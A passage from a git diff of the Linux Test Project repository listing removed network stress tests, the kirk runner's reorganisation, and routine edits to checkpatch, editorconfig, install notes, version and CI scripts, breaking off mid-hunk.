ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff10 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff11 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff12 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff13 delete mode 100644 ltp/testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff14 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/00_Descriptions.txt delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/Makefile delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend02 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend03 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend04 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13 delete mode 100644 ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/00_Descriptions.txt delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/Makefile delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13 delete mode 100644 ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/00_Descriptions.txt delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/Makefile delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale13 delete mode 100644 ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/00_Descriptions.txt delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/Makefile delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip01 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip03 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip04 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip05 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffip/udp6-multi-diffip07 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/00_Descriptions.txt delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/Makefile delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic04 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic01 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic02 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic03 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic04 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic05 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic06 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffnic/udp6-multi-diffnic07 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/00_Descriptions.txt delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/Makefile delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport02 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport03 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport05 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport06 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp4-multi-diffport07 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport01 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport02 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport03 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport04 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport06 delete mode 100644 ltp/testcases/network/stress/udp/multi-diffport/udp6-multi-diffport07 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/00_Descriptions.txt delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/Makefile delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic01 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic02 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic03 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic04 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic05 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic06 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic07 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic01 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic02 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic03 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic04 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic05 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic06 delete mode 100644 ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic07 delete mode 100644 ltp/testcases/network/tcp_cmds/README create mode 100644 ltp/testcases/open_posix_testsuite/include/aio_test.h create mode 100644 ltp/testcases/open_posix_testsuite/include/clock.h create mode 100644 ltp/testcases/open_posix_testsuite/lib/Makefile create mode 100644 ltp/testcases/open_posix_testsuite/lib/common.c delete mode 100644 ltp/tools/create_dmesg_entries_for_each_test.awk delete mode 100644 ltp/tools/create_kernel_faults_in_loops_and_probability.awk delete mode 100644 ltp/tools/create_valgrind_check.awk delete mode 100644 ltp/tools/genhtml.pl delete mode 100644 ltp/tools/genload/.gitignore delete mode 100644 ltp/tools/genload/Makefile delete mode 100644 ltp/tools/genload/README delete mode 100644 ltp/tools/genload/genload.c delete mode 100644 ltp/tools/genload/stress.c delete mode 100644 ltp/tools/html_report_header.txt delete mode 100755 ltp/tools/insert_kernel_faults.sh delete mode 100644 ltp/tools/kirk/README.rst delete mode 100644 ltp/tools/kirk/doc/developers/framework.rst delete mode 100644 ltp/tools/kirk/doc/developers/sut.rst delete mode 100644 ltp/tools/kirk/doc/requirements.txt rename ltp/tools/kirk/{ => kirk-src}/.coveragerc (100%) rename ltp/tools/kirk/{ => kirk-src}/.github/workflows/static.yml (100%) rename ltp/tools/kirk/{ => kirk-src}/.github/workflows/test_ltx.yml (89%) rename ltp/tools/kirk/{ => kirk-src}/.github/workflows/test_ssh.yml (91%) rename ltp/tools/kirk/{ => kirk-src}/.github/workflows/tests.yml (88%) rename ltp/tools/kirk/{ => kirk-src}/.gitignore (100%) rename ltp/tools/kirk/{ => kirk-src}/.readthedocs.yml (68%) rename ltp/tools/kirk/{ => kirk-src}/LICENSE (100%) create mode 100644 ltp/tools/kirk/kirk-src/README.rst rename ltp/tools/kirk/{ => kirk-src}/doc/.gitignore (100%) rename ltp/tools/kirk/{ => kirk-src}/doc/conf.py (96%) create mode 100644 ltp/tools/kirk/kirk-src/doc/developers/plugins.rst rename ltp/tools/kirk/{ => kirk-src}/doc/index.rst (84%) create mode 100644 ltp/tools/kirk/kirk-src/doc/maintainers/architecture.rst rename ltp/tools/kirk/{ => kirk-src}/doc/maintainers/release.rst (62%) rename ltp/tools/kirk/{ => kirk-src}/doc/users/qemu.rst (95%) rename ltp/tools/kirk/{ => kirk-src}/doc/users/quickstart.rst (42%) rename ltp/tools/kirk/{ => kirk-src}/kirk (100%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/__init__.py (69%) rename ltp/tools/kirk/{libkirk => kirk-src/libkirk/channels}/ltx.py (90%) rename ltp/tools/kirk/{libkirk/ltx_sut.py => kirk-src/libkirk/channels/ltx_chan.py} (75%) rename ltp/tools/kirk/{libkirk => kirk-src/libkirk/channels}/qemu.py (83%) rename ltp/tools/kirk/{libkirk/host.py => kirk-src/libkirk/channels/shell.py} (74%) rename ltp/tools/kirk/{libkirk => kirk-src/libkirk/channels}/ssh.py (70%) create mode 100644 ltp/tools/kirk/kirk-src/libkirk/com.py rename ltp/tools/kirk/{ => kirk-src}/libkirk/data.py (70%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/errors.py (60%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/evt.py (80%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/export.py (94%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/framework.py (44%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/io.py (58%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/ltp.py (40%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/main.py (67%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/monitor.py (74%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/plugin.py (51%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/results.py (69%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/scheduler.py (82%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/session.py (77%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/sut.py (31%) create mode 100644 ltp/tools/kirk/kirk-src/libkirk/sut_base.py rename ltp/tools/kirk/{ => kirk-src}/libkirk/tempfile.py (63%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/__init__.py (100%) create mode 100644 ltp/tools/kirk/kirk-src/libkirk/tests/conftest.py rename ltp/tools/kirk/{libkirk/tests/test_sut.py => kirk-src/libkirk/tests/test_com.py} (44%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_events.py (93%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_export.py (96%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_io.py (98%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_ltp.py (82%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_ltx.py (89%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_main.py (77%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_monitor.py (98%) create mode 100644 ltp/tools/kirk/kirk-src/libkirk/tests/test_plugin.py rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_qemu.py (57%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_scheduler.py (94%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_session.py (38%) create mode 100644 ltp/tools/kirk/kirk-src/libkirk/tests/test_shell.py rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_ssh.py (57%) create mode 100644 ltp/tools/kirk/kirk-src/libkirk/tests/test_sut.py rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_tempfile.py (100%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/tests/test_types.py (100%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/types.py (36%) rename ltp/tools/kirk/{ => kirk-src}/libkirk/ui.py (57%) rename ltp/tools/kirk/{ => kirk-src}/pyproject.toml (78%) rename ltp/tools/kirk/{ => kirk-src}/utils/json2html.py (100%) rename ltp/tools/kirk/{ => kirk-src}/utils/json2logs.py (100%) delete mode 100644 ltp/tools/kirk/libkirk/tests/conftest.py delete mode 100644 ltp/tools/kirk/libkirk/tests/test_host.py delete mode 100644 ltp/tools/kirk/libkirk/tests/test_plugin.py delete mode 100755 ltp/tools/restore_kernel_faults_default.sh diff --git a/ltp/.b4-config b/ltp/.b4-config index 36aa15c3..aea68ad8 100644 --- a/ltp/.b4-config +++ b/ltp/.b4-config @@ -4,6 +4,7 @@ send-series-to = Linux Test Project pw-url = https://patchwork.ozlabs.org/ pw-project = ltp - prep-perpatch-check-cmd = ./scripts/checkpatch.pl -q --terse --no-summary --mailback --showfile --no-tree --ignore CONST_STRUCT,VOLATILE,SPLIT_STRING,FILE_PATH_CHANGES - am-perpatch-check-cmd = ./scripts/checkpatch.pl -q --terse --no-summary --mailback --no-tree --ignore CONST_STRUCT,VOLATILE,SPLIT_STRING,FILE_PATH_CHANGES + # other checkpatch.pl options from .checkpatch.conf are used + prep-perpatch-check-cmd = ./scripts/checkpatch.pl -q --mailback --showfile --no-f + am-perpatch-check-cmd = ./scripts/checkpatch.pl -q --mailback diff --git a/ltp/.checkpatch.conf b/ltp/.checkpatch.conf new file mode 100644 index 00000000..4aa6f709 --- /dev/null +++ b/ltp/.checkpatch.conf @@ -0,0 +1,19 @@ +# Not Linux, so don't expect a Linux tree. +--no-tree + +-f --terse --no-summary + +# allow // in headers +--spdx-cxx-comments + +# enable more tests +--strict + +# kernel specific +--ignore PREFER_KERNEL_TYPES,STRCPY,STRLCPY,STRNCPY + +# TODO: document reason +--ignore CONST_STRUCT,VOLATILE,FILE_PATH_CHANGES,LONG_LINE,MACRO_ARG_REUSE,MULTIPLE_ASSIGNMENTS + +# ENOSYS is used in test error macros +--ignore ENOSYS diff --git a/ltp/.editorconfig b/ltp/.editorconfig new file mode 100644 index 00000000..b09145a3 --- /dev/null +++ b/ltp/.editorconfig @@ -0,0 +1,43 @@ +# SPDX-License-Identifier: GPL-2.0-or-later + +root = true + +# Default for all files +[*] +charset = utf-8 +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true +tab_width = 8 + +# C/Assembly source files, headers, and shell files use tabs +[{*.{c,h,S,sh},ver_linux}] +indent_style = tab +indent_size = tab + +[{Makefile,Makefile.*,*.{mk.in,mk}}] +indent_style = tab +indent_size = tab + +[*.py] +indent_style = space +indent_size = 4 + +[*.pl] +indent_style = tab +indent_size = tab + +# Exceptions use spaces: Python (Sphinx, scripts), Perl (checkbashisms.pl vendored) +[{doc/conf.py,scripts/*.py,scripts/checkbashisms.pl}] +indent_style = space +indent_size = 4 + +# Documentation files +[*.{rst,md}] +indent_style = space +indent_size = 4 + +# JSON files +[*.json] +indent_style = space +indent_size = 4 diff --git a/ltp/.mailmap b/ltp/.mailmap index 221e2295..d1e4419f 100644 --- a/ltp/.mailmap +++ b/ltp/.mailmap @@ -1,3 +1,5 @@ +Li Wang +Li Wang Petr Vorel Petr Vorel Xinjian Ma (Fujitsu) diff --git a/ltp/INSTALL b/ltp/INSTALL index c44bb4e6..b5c89de3 100644 --- a/ltp/INSTALL +++ b/ltp/INSTALL @@ -104,10 +104,10 @@ Quick Start $ cd ltp $ ./configure $ make all - # make install - $ /opt/ltp/runltp + $ sudo make install *NOTE: +- For running tests use kirk [1]. - LTP assumes the existence of the nobody, bin, and daemon users and their groups. If these IDs do not exist, certain tests will fail. The respective user and group IDs should be the same, i.e. if `nobody's' user ID is 99, then @@ -117,6 +117,8 @@ its group ID should also be 99. The names of the groups are irrelevant. DESTDIR= is also honored for install and will install into $DESTDIR/$prefix, if you want to install into a chroot or a rootfs for instance. +[1] https://github.com/linux-test-project/kirk + Detailed Installation --------------------- diff --git a/ltp/Makefile b/ltp/Makefile index d47b2528..2a7cf54c 100644 --- a/ltp/Makefile +++ b/ltp/Makefile @@ -31,7 +31,7 @@ vpath %.mk $(top_srcdir)/mk:$(top_srcdir)/mk/include # BOOTSTRAP_TARGETS: Directories required to bootstrap out-of-build-tree # support. -COMMON_TARGETS := pan utils +COMMON_TARGETS := utils define target_to_dir_dep_mapping ifeq ($$(filter %-clean,$(1)),) # not *-clean @@ -45,8 +45,8 @@ COMMON_TARGETS += testcases tools metadata # Don't want to nuke the original files if we're installing in-build-tree. ifneq ($(BUILD_TREE_STATE),$(BUILD_TREE_SRCDIR_INSTALL)) -INSTALL_TARGETS += runtest scenario_groups testscripts -CLEAN_TARGETS += include runtest scenario_groups testscripts +INSTALL_TARGETS += runtest testscripts +CLEAN_TARGETS += include runtest testscripts endif INSTALL_TARGETS += $(COMMON_TARGETS) CLEAN_TARGETS += $(COMMON_TARGETS) lib libs diff --git a/ltp/README.rst b/ltp/README.rst index 3e176bd0..9853222f 100644 --- a/ltp/README.rst +++ b/ltp/README.rst @@ -20,7 +20,7 @@ libraries by bringing test automation. Some references: -* `Documentation `_ +* `Documentation `_ * `Source code `_ * `Releases `_ * `Mailing List `_ diff --git a/ltp/TODO b/ltp/TODO deleted file mode 100644 index fe0a3ab9..00000000 --- a/ltp/TODO +++ /dev/null @@ -1,39 +0,0 @@ -LTP TODO --------- - - -Write more syscall tests -~~~~~~~~~~~~~~~~~~~~~~~~ - -Syscalls and new syscall flags are added to Linux kernel each development cycle -and LTP still falls behind. Unfortunately there is no single place that would -store comprehensive list of syscalls, but there are a few places to look at: - -One of the options would be looking at changes in man-pages git[1] in man2/ -directory to find out newly documented functionality. - -Another good source of information are kernel pages in LWN[2] weekly -editions. - -Then there is linux-api mailing list[3] where changes in kernel userspace API -should be discussed. - -[1] http://git.kernel.org/cgit/docs/man-pages/man-pages.git -[2] http://lwn.net -[3] http://dir.gmane.org/gmane.linux.kernel.api - - -Rewrite old and add new controller testcases -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -We already started working on this with rewriting cgroup_fj testcases and -newly added pids testcases. Have a look at testcases/kernel/controllers/. - - -Shell tests cleanups -~~~~~~~~~~~~~~~~~~~~ - -There are numerous testcases written in shell that does not follow single style -and use the broken-by-design binaries from tools/apicmds. These should be -cleaned up and fixed to use the test.sh test library. These include most of -tests in testcases/commands/ for example. diff --git a/ltp/VERSION b/ltp/VERSION index ac274333..384d419a 100644 --- a/ltp/VERSION +++ b/ltp/VERSION @@ -1 +1 @@ -20250530 +20260130 diff --git a/ltp/ci/alpine.sh b/ltp/ci/alpine.sh index 254f4aae..f3a1bf52 100755 --- a/ltp/ci/alpine.sh +++ b/ltp/ci/alpine.sh @@ -25,6 +25,7 @@ apk add \ musl-dev \ numactl-dev \ openssl-dev \ + e2fsprogs-extra \ pkgconfig cat /etc/os-release diff --git a/ltp/ci/debian.sh b/ltp/ci/debian.sh index 0445c92e..767c9b98 100755 --- a/ltp/ci/debian.sh +++ b/ltp/ci/debian.sh @@ -33,6 +33,7 @@ pkg_minimal=" linux-libc-dev lsb-release pkg-config + e2fsprogs " pkg_nonessential=" diff --git a/ltp/ci/fedora.sh b/ltp/ci/fedora.sh index f57806eb..f4482a1d 100755 --- a/ltp/ci/fedora.sh +++ b/ltp/ci/fedora.sh @@ -26,6 +26,7 @@ $yum \ libtirpc \ libtirpc-devel \ pkg-config \ + e2fsprogs \ redhat-lsb-core # CentOS 8 fixes diff --git a/ltp/ci/tools/patchwork.sh b/ltp/ci/tools/patchwork.sh index 3e18ee94..5c58bee5 100755 --- a/ltp/ci/tools/patchwork.sh +++ b/ltp/ci/tools/patchwork.sh @@ -9,6 +9,8 @@ PATCHWORK_URL="${PATCHWORK_URL:-https://patchwork.ozlabs.org}" PATCHWORK_SINCE="${PATCHWORK_SINCE:-3600}" +PATCHWORK_MAX_SINCE="${PATCHWORK_MAX_SINCE:-86400}" +PATCHWORK_CI_PREFIX="${PATCHWORK_CI_PREFIX:-github-build}" command_exists() { local cmd @@ -25,8 +27,21 @@ command_exists "curl" "jq" fetch_series() { local current_time=$(date +%s) - local since_time=$(expr $current_time - $PATCHWORK_SINCE) 